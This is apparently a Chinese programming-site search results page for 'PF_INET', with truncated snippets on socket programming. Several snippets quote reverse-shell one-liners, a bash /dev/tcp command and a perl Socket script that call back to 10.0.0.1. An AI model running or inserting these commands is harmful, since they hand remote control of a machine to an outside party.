E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
PF_INET
AF_INET与
PF_INET
区别
在写网络程序的时候,建立TCPsocket:sock=socket(
PF_INET
,SOCK_STREAM,0);然后在绑定本地地址或连接远程地址时需要初始化sockaddr_in结构,其中指定addressfamily
binbinyantai
·
2020-08-08 23:23
工业网络
浅析网络编程之AF_INET和
PF_INET
在网络编程中,创建TCP套接字时,我们使用socked=socket(AF_INET,SOCK_STREAM,0);来创建一个网际(AF_INET)字节流(SOCK_STREAM)套接字。AF表示ADDRESSFAMILY地址族PF表示PROTOCOLFAMILY协议族1、在windows系统中,这两个宏定义是一样的,所以使用哪个都没有关系,在Winsock2.h中:#defineAF_INET2
海阔天空sky1992
·
2020-08-08 12:22
网络
AF_INET和
PF_INET
的细微不同
AF_INET和
PF_INET
的细微不同在写网络程序的时候,建立TCPsocket:sock=socket(
PF_INET
,SOCK_STREAM,0);然后在绑定本地地址或连接远程地址时需要初始化sockaddr_in
国境之南Fantasy
·
2020-08-08 10:41
Linux
Socket编程
根据网卡(eth0, eth1)获得对应的IP地址
intget_interface_addr(char*eth,char*ipaddr){intsock_fd;structsockaddr_inmy_addr;structifreqifr;if((sock_fd=socket(
PF_INET
windseeker2008
·
2020-08-07 09:46
TCP/IP网络编程
常见反弹shell总结
nc-nlvp12342、bash:bash-i>&/dev/tcp/10.0.0.1/80800>&13、perl:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,
PF_INET
weixin_45116657
·
2020-08-02 14:38
安全漏洞
反弹shell的十种姿势(偶然看到一些整理下)
bash-i>&/dev/tcp/10.0.0.1/80800>&1,注意某些linux不支持perl版本:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,
PF_INET
chuancuili8770
·
2020-08-02 12:49
【网络编程】04-TCP三次握手
服务端准备连接的过程创建套接字:intsocket(intdomain,inttype,intprotocol)domain就是指
PF_INET
、PF_INET6、PF_LOCAL等,表示什么样的套接字
记事本
·
2020-07-31 13:40
网络编程
翻译:How to detect IP address change programmatically in Linux?
Answers1:在C语言中,我使用的获取当前IP的方法:ints;structifreqifr={};s=socket(
PF_INET
,SOCK_DGRAM,0
东东东东东东丶
·
2020-07-30 00:11
Head First C学习之BLAB
套接字C程序有那个数据流读写字节,如文件,标准输入输出等,如果想写一个与网络通信的程序,就需要一种新的数据流-套接字(socket)#include...intlistener_d=socket(
PF_INET
燚随风
·
2020-07-27 22:47
基于UDP/TCP的计算机网络编程
即socket(
PF_INET
,SOCK_STREAM,0),这表示建立一个socket用于流式网络通讯。
@编程郭同学
·
2020-07-15 08:55
python原始套接字实现简单的sniffer
where:一共可以有4种方式创建这种socket:1.socket(
PF_INET
,SOCK_RAW,IPPROTO_TCP|IPPROTO_UDP|IPPROTO_ICMP)发送接收ip数据包socket
想学点black技术
·
2020-07-14 20:21
Python
linux基础之 创建一个UDP socket
memset(&local_addr,0,sizeof(local_addr));//set0foreverythinglocal_addr.sin_family=AF_INET;//AF_INET(又称
PF_INET
Yunlong_Luo
·
2020-07-13 00:14
C语言
反弹shell的十种姿势
10.0.0.1/80800>&1,注意这个是由解析shell的bash完成,所以某些情况下不支持perl版本:perl-e‘useSocket;i="10.0.0.1";p=1234;socket(S,
PF_INET
起个名字被占了
·
2020-07-12 03:49
安全相关
在linux下检测arp冲突
constchar*device,char*mac,char*ip){intsockfd;structifreqreq;structsockaddr_in*sin;if((sockfd=socket(
PF_INET
chaoswiming
·
2020-07-11 03:06
网路基础
wpa_supplicant-0.8源码解析
wpa_supplicant.conf创建了四个socket:1.src/drivers/driver_wext.c->wpa_driver_wext_init()->drv->ioctl_sock=socket(
PF_INET
小小黄
·
2020-07-07 09:06
源码解析
AF_INET
PF_INET
AF_UNIX PF_UNIX的使用
2019独角兽企业重金招聘Python工程师标准>>>在写网络程序的时候,建立TCPsocket:sock=socket(
PF_INET
,SOCK_STREAM,0);然后在绑定本地地址或连接远程地址时需要初始化
weixin_33962621
·
2020-07-05 23:00
android ndk socket()系统调用
socket()系统调用,带有三个参数:socket()是sys/socket.h中的其中一个方法1、参数domain指明通信域,如PF_UNIX(unix域),
PF_INET
(IPv4),PF_INET6
shaogz1077
·
2020-07-05 11:41
c++
android
ndk
AF_INET 和
PF_INET
区别;AF_LOCAL PF_LOCAL 区别.
ADDRESSFAMILY地址族PF表示PROTOCLFAMILY协议族Winsock2.h中#defineAF_INET0#definePF_INETAF_INET所以在windows中AF_INET与
PF_INET
scolu
·
2020-07-05 11:52
C语言 用http post方式 上传json数据流程参考
http应答格式:例如://建立if((send_etc_sockfd=socket(
PF_INET
,SOCK_STREAM,0))sin_addr);//ipstrcat(my_http_head,pr
qq_36072126
·
2020-07-05 05:25
HTTP
POST
cJSON
我们物联网专业的嵌入式实习-day06(开发智能家居系统-网络编程)
soc1.c#include#include#include#include#include#includeintmain(){//serve////socket//intsocketFd=socket(
PF_INET
lsy888520
·
2020-07-04 22:20
linux多进程服务端程序
include#include#include#include#include#includeintmain(){intsockfd=0;//创建socketTCP默认协议sockfd=socket(
PF_INET
大力挥拳
·
2020-07-04 22:35
Linux
树莓派学习笔记
linux网络编程二:基础socket, bind, listen, accept, connect
1.创建socket#include#includeintsocket(intdomain,inttype,intprotocol);domain参数为底层协议族:
PF_INET
(用于IPv4),PF_INET6
jasonliuvip
·
2020-07-04 19:51
linux网络编程
数据链路层组播报文接收问题
#include#include#include#includeintmain(intargc,char*argv[]){structifreqifr;intsockfd;sockfd=socket(
PF_INET
baidu20008
·
2020-07-04 11:08
Linux下TCP网络编程流程
#include#include#include#include#include#include#include#includevoidmain(){//创建socketintsock=socket(
PF_INET
Amiayy
·
2020-07-02 00:33
Linux
关于
PF_INET
和AF_INET的区别
在写网络程序的时候,建立TCPsocket:sock=socket(
PF_INET
,SOCK_STREAM,0);然后在绑定本地地址或连接远程地址时需要初始化sockaddr_in结构,其中指定addressfamily
熊猫加油
·
2020-06-30 02:32
socket
stream
unix
server
domain
windows
网络编程基础知识
socket函数#includeintsocket(intdomain,inttype,intprotocol);成功时候返回socket文件描述符,失败时返回-1domin是指套接字中使用的协议簇信息,如
PF_INET
haha and giraffe
·
2020-06-24 20:13
Network
Programming
socket收发缓冲区
1.TCPsocket的接收和发送缓冲区:socket(
PF_INET
,SOCK_STREAM,0);每个TCPSocket在内核中都有一个发送缓冲区和一个接收缓冲区,TCP的全双工工作模式以及TCP的滑动窗口就是依赖这两个独立的
ldw662523
·
2020-06-24 03:55
深入理解TCP协议及其源代码——TCP三次握客户端tcp层SYN包的发送
TCP连接时三次握手示意3.TCP协议栈从上到下提供的接口创建socket创建TCPsocket调用接口在创建socket套接字描述符,sys_socket内核函数会根据指定的协议(例如socket(
PF_INET
微光~
·
2019-12-26 17:00
实验作业二:Java/Linux Socket API
LinuxSocketAPI:上图是基于TCP的客户端/服务端模式一些标识:
PF_INET
(IP协议族)、AF_INET(IP地址族)、SOCK_STREAM(用于基于流式传输的协议,比如TCP)。
把栏杆拍遍
·
2019-12-10 21:00
一个hello/hi的简单的网络聊天程序
socket()函数来创建套接字,原型为:intsocket(intaf,inttype,intprotocol);其中:af为地址族(AddressFamily),即:IP地址类型,常用的有AF_INET和
PF_INET
LiScott
·
2019-12-10 21:00
连接跟踪之UDP
UDP连接跟踪控制块conststructnf_conntrack_l4protonf_conntrack_l4proto_udp4={.l3proto=
PF_INET
,.l4proto=IPPROTO_UDP
ouyangxibao
·
2019-10-15 05:05
ubuntu
linux
c
c++
TinyHttp源码分析
设置端口复用=>绑定socket与服务器地址=>如果未指定端口,动态分配=>监听inton=1;unsignedintport=4000;structsockaddr_inname;intlfd=socket(
PF_INET
就是会把话说反
·
2019-10-02 20:34
c
linux
socket编程UDP
服务器端:intsock;charrecvbuf[1024]={0};structsockaddr_inpeeraddr;初始化:sock=socket(
PF_INET
,SOCK_DGRAM,0)memset
微微微丶笑
·
2019-01-20 19:23
Linux
IPsec相关数据结构1
City_of_skey/article/details/86562770目录1、简介2、xfrm_state3、xfrm_policy4、xfrm_tmpl1、简介ipsec对数据加密是在内核IP层实现的,通过
PF_INET
TCH_world
·
2019-01-20 15:56
网络
IPsec
安全
UDP 广播与组播
structsockaddr_incaddr;charrecvbuf[1024];charsendbuf[1024];intset=1;inti=0;intaddrLen=sizeof(caddr);//接收数据if((fd=socket(
PF_INET
IT8343
·
2018-09-14 16:20
C基础
C++ 编译出错error:C4996
socket服务器程序,绑定嵌套字时//绑定套接字sockaddr_insockAddr;memset(&sockAddr,0,sizeof(sockAddr));sockAddr.sin_family=
PF_INET
chujicainiao1989
·
2018-08-16 09:28
C/C++
C/C++使用socket实现server和client
)intmain(intargc,char*argv[]){WSADATAwsaData;WSAStartup(MAKEWORD(2,2),&wsaData);//初始化SOCKETs=socket(
PF_INET
Cosmop01itan
·
2018-05-17 23:55
c++
C#
网络编程sys/socket.h
*/_type常见取值为:SOCK_STREAMSOCK_DGRAMeg:intlistenfd;listenfd=socket(
PF_INET
,SOCK_STREAM,0);2、获取socket选项/
Korey_sparks
·
2018-04-30 22:57
C语言
Linux
TCP/IP网络编程 读书笔记
.协议族与套接字类型(socket函数第一、二个参数)#includeintsocket(intdomain,inttype,inttype,intprotocol);domain常用:IPv4协议族
PF_INET
leon4ever
·
2018-03-07 19:03
socket编程常见问题笔记
如何设置socket为非阻塞IOintlistenfd=socket(
PF_INET
,SOCK_STREAM,0);intfdflag=fnctl(listenfd,F_GETFL);if(fcntl(
耕耘中的小人物
·
2017-09-22 11:22
tcp
网络编程
Linux 下多种编程语言的反弹 shell 方法
bash命令:bash-i>&/dev/tcp/10.0.0.1/80800>&1perl版本:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,
PF_INET
佚名
·
2017-09-06 17:28
Socket网络通信
lib")1.加载套接字库,确定socket的版本;WSAStartup():初始化sock套接字2.创建套接字,用于监听;socket(AF_INET,SOCK_DGRAM,0);1)AF_INET=
PF_INET
Queen_wings
·
2017-09-02 14:14
Linux下NC反弹shell命令(推荐)
目标机器开启反弹bash版本:bash-i>&/dev/tcp/10.0.0.1/80800>&1perl版本:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,
PF_INET
怕冷的企鹅
·
2017-07-11 15:58
windows网络编程(一)
dll intmain(){ //初始化DLL WSADATAwsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //创建套接字 SOCKETsock=socket(
PF_INET
wxf2012301351
·
2017-05-22 16:00
windows
网络编程
tcp_v4_init & icmp_init
阅读更多void__inittcp_v4_init(structnet_proto_family*ops){interr=sock_create(
PF_INET
,SOCK_RAW,IPPROTO_TCP
lobin
·
2017-05-21 01:00
tcp_v4_init
void__inittcp_v4_init(structnet_proto_family*ops) { interr=sock_create(
PF_INET
,SOCK_RAW,IPPROTO_TCP
lobin
·
2017-05-21 01:00
从应用层观察TCP的三次握手和TFO
网络程序一般分为客户端和服务端,先来用一段伪代码看一下客户端和服务端程序会调用哪些函数服务端:server(){intlistenfd=socket(
PF_INET
,SOCK_STREAM,0);//创建
耕耘中的小人物
·
2016-12-31 15:36
socket
tcp
TFO
tcp
456
~\n");exit(1);}sock=socket(
PF_INET
aimoer1990
·
2016-12-26 23:55
include
Windows Socket 编程:TCP客户端
;WSADATAwsaData;SOCKEThSocket;SOCKADDR_INservAddr;WSAStartup(MAKEWORD(2,2),&wsaData);hSocket=socket(
PF_INET
aimoer1990
·
2016-12-25 17:59
Windows
客户端
include
Socket
linux内核 路由fib表之输入查找
2.2.3路由查找-->ip_rt_init-->ip_fib_init//注册路由的创建、删除、dump函数-->rtnl_register(
PF_INET
,RTM_GETROUTE,inet_rtm_getroute
森海001
·
2016-08-18 23:08
linux
网络协议
上一页
1
2
3
4
5
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他